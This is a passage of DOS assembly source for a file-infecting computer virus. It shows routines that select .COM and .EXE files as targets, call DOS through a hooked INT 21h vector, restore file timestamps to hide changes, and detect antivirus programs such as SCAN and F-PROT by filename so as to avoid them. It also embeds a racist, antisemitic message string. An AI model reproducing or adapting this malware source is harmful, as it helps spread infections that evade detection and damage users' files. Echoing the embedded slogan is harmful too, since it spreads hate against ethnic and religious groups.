sbb cx,0 ;of the Orignal File
mov ax,4200h ;Get new EOF
call calldos21
mov ah,40h ;Write new EOF to File
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
call calldos21
mov ah,3eh ;Close File
call calldos21
end_dis: pop ds
pop dx
pop cx ;Restore 'em
pop bx
pop ax
ret
disinfect ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;--------------------------------------------------------------------------
Check_extension PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me: cmp byte ptr ds:[si],2eh
je next_ok
inc si
loop loop_me
next_ok: cmp word ptr ds:[si+1],'OC'
jne next_1
cmp byte ptr ds:[si+3],'M'
je good_file
next_1: cmp word ptr ds:[si+1],'oc'
jne next_2
cmp byte ptr ds:[si+3],'m'
je good_file
next_2: pop cx
pop si
stc
ret
good_file: pop cx
pop si
clc
ret
Check_extension ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;-------------------------------------------------------------------------
Check_exten_exe PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me_exe: cmp byte ptr ds:[si],2eh
je next_ok_exe
inc si
loop loop_me_exe
next_ok_exe: cmp word ptr ds:[si+1],'XE'
jne next_1_exe
cmp byte ptr ds:[si+3],'E'
je good_file_exe
next_1_exe: cmp word ptr ds:[si+1],'xe'
jne next_2_exe
cmp byte ptr ds:[si+3],'e'
je good_file_exe
next_2_exe: pop cx
pop si
stc
ret
good_file_exe: pop cx
pop si
clc
ret
Check_exten_exe ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Call Int_21h Okay
;-------------------------------------------------------------------------
calldos21 PROC
pushf
call dword ptr cs:[int21]
retn
calldos21 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; MultiPly
;--------------------------------------------------------------------------
multiply PROC
push bx
push cx
mov cl,0Ch
shl dx,cl
xchg bx,ax
mov cl,4
shr bx,cl
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
multiply ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check for AV file... Like SCAN.EXE or F-PROT.EXE
;-------------------------------------------------------------------------
Check_4_av PROC
push si
push cx
mov si,dx
mov cx,256h
av: cmp byte ptr ds:[si],2eh
je av1
inc si
loop av
av1: cmp word ptr ds:[si-2],'NA'
jnz av2
cmp word ptr ds:[si-4],'CS'
jz fuck_av
av2: cmp word ptr ds:[si-2],'NA'
jnz av3
cmp word ptr ds:[si-4],'EL'
jz fuck_av
av3: cmp word ptr ds:[si-2],'TO'
jnz not_av
cmp word ptr ds:[si-4],'RP'
jz fuck_av
not_av: pop cx
pop si
clc
ret
fuck_av: pop cx
pop si
stc
ret
Check_4_av ENDP
msg db "Death by Miscgenation DIE WHITE GOYIM DIE! '94(c) IsRaEl"
old_time dw 0
old_date dw 0
file_handle dw 0
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h ;\
db 18h DUP (00) ;-Make 1Bh Bytes
last:
seg_a ends
end start

File diff suppressed because it is too large Load Diff